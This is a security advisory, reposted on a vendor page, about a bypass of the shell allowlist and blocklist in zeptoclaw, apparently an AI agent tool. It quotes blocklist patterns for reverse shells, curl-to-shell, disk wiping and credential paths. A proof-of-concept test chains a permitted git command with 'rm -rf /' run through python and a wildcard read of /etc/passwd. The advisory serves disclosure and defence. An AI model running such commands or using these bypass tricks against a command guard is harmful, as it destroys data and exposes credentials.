Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

GHSA-5wp8-q9mx-8jx8

zeptoclaw has Shell allowlist-blocklist bypass via command/argument injection and file name wildcards
Back to all
CVE

GHSA-5wp8-q9mx-8jx8

zeptoclaw has Shell allowlist-blocklist bypass via command/argument injection and file name wildcards

Summary

zeptoclaw implements a allowlist combined with a blocklist to prevent malicious shell commands in src/security/shell.rs. However, even in the Strict mode, attackers can completely bypass all the guards from allowlist and blocklist:

  • to bypass the allowlist, command injection is enough, such as ;$() etc.
  • to bypass the REGEXBLOCKEDPATTERNS, argument injection is enough, such as the python3 -P -c "..."
  • to bypass the LITERALBLOCKEDPATTERNS, file name wildcards can do the work, such as cat /etc/pass[w]d

Details

In code src/security/shell.rs#L218-L243, one can see the allowlist only checks the first token and thus makes command injection possible. 

        // Allowlist check (runs after blocklist)
        if self.allowlist_mode != ShellAllowlistMode::Off && !self.allowlist.is_empty() {
            let first_token = command
                .split_whitespace()
                .next()
                .unwrap_or("")
                .to_lowercase();
            // Strip path prefix (e.g. /usr/bin/git -> git)
            let executable = first_token.rsplit('/').next().unwrap_or(&first_token);
            if !self.allowlist.iter().any(|a| a == executable) {
                match self.allowlist_mode {
                    ShellAllowlistMode::Strict => {
                        return Err(ZeptoError::SecurityViolation(format!(
                            "Command '{}' not in allowlist",
                            executable
                        )));
                    }
                    ShellAllowlistMode::Warn => {
                        tracing::warn!(
                            command = %command,
                            executable = %executable,
                            "Command not in allowlist"
                        );
                    }
                    ShellAllowlistMode::Off => {} // unreachable
                }

 !self.allowlist.is_empty() makes the empty allowlist overlook the allowlist check, if it is in ShellAllowlistMode::Strict mode, empty allowlist should direct reject all the commands.

As the code in src/security/shell.rs#L18-L70, we can find the REGEXBLOCKEDPATTERNS only apply \s+ in between the command and arguments, making argument injection possible, and the LITERALBLOCKEDPATTERNS just uses specific file name, totally overlooking the file name wildcards:

const REGEX_BLOCKED_PATTERNS: &[&str] = &[
    // Piped shell execution (curl/wget to sh/bash)
    r"curl\s+.*\|\s*(sh|bash|zsh)",
    r"wget\s+.*\|\s*(sh|bash|zsh)",
    r"\|\s*(sh|bash|zsh)\s*$",
    // Reverse shells
    r"bash\s+-i\s+>&\s*/dev/tcp",
    r"nc\s+.*-e\s+(sh|bash|/bin)",
    r"/dev/tcp/",
    r"/dev/udp/",
    // Destructive root operations (various flag orderings)
    r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\s*($|;|\||&)",
    r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\*\s*($|;|\||&)",
    // Format/overwrite disk
    r"mkfs(\.[a-z0-9]+)?\s",
    r"dd\s+.*if=/dev/(zero|random|urandom).*of=/dev/[sh]d",
    r">\s*/dev/[sh]d[a-z]",
    // System-wide permission changes
    r"chmod\s+(-R\s+)?777\s+/\s*$",
    r"chmod\s+(-R\s+)?777\s+/[a-z]",
    // Fork bombs
    r":\(\)\s*\{\s*:\|:&\s*\}\s*;:",
    r"fork\s*\(\s*\)",
    // Encoded/indirect execution (common blocklist bypasses)
    r"base64\s+(-d|--decode)",
    r"python[23]?\s+-c\s+",
    r"perl\s+-e\s+",
    r"ruby\s+-e\s+",
    r"node\s+-e\s+",
    r"\beval\s+",
    r"xargs\s+.*sh\b",
    r"xargs\s+.*bash\b",
    // Environment variable exfiltration
    r"\benv\b.*>\s*/",
    r"\bprintenv\b.*>\s*/",
];
/// Literal substring patterns (credentials, sensitive paths)
const LITERAL_BLOCKED_PATTERNS: &[&str] = &[
    "/etc/shadow",
    "/etc/passwd",
    "~/.ssh/",
    ".ssh/id_rsa",
    ".ssh/id_ed25519",
    ".ssh/id_ecdsa",
    ".ssh/id_dsa",
    ".ssh/authorized_keys",
    ".aws/credentials",
    ".kube/config",
    // ZeptoClaw's own config (contains API keys and channel tokens)
    ".zeptoclaw/config.json",
    ".zeptoclaw/config.yaml",
];

PoC

    #[test]
    fn test_allowlist_bypass() {
        let config =
            ShellSecurityConfig::new().with_allowlist(vec!["git"], ShellAllowlistMode::Strict);
        assert!(config.validate_command("/usr/bin/git status; python -P -c 'import os; os.system(\"rm -rf /\")'; cat /etc/pass[w]d").is_ok());
    }

Impact

Unauthorized command execution.

Credit

@zpbrent

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
C
H
U
-

Related Resources

No items found.

References

https://github.com/qhkm/zeptoclaw/security/advisories/GHSA-5wp8-q9mx-8jx8, https://github.com/qhkm/zeptoclaw/commit/68916c3e4f3af107f11940b27854fc7ef517058b, https://github.com/qhkm/zeptoclaw, https://github.com/qhkm/zeptoclaw/blob/fe2ef07cfec5bb46b42cdd65f52b9230c03e9270/src/security/shell.rs#L218-L243

Severity

10

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
10
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0
Fix Available
0.6.2

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading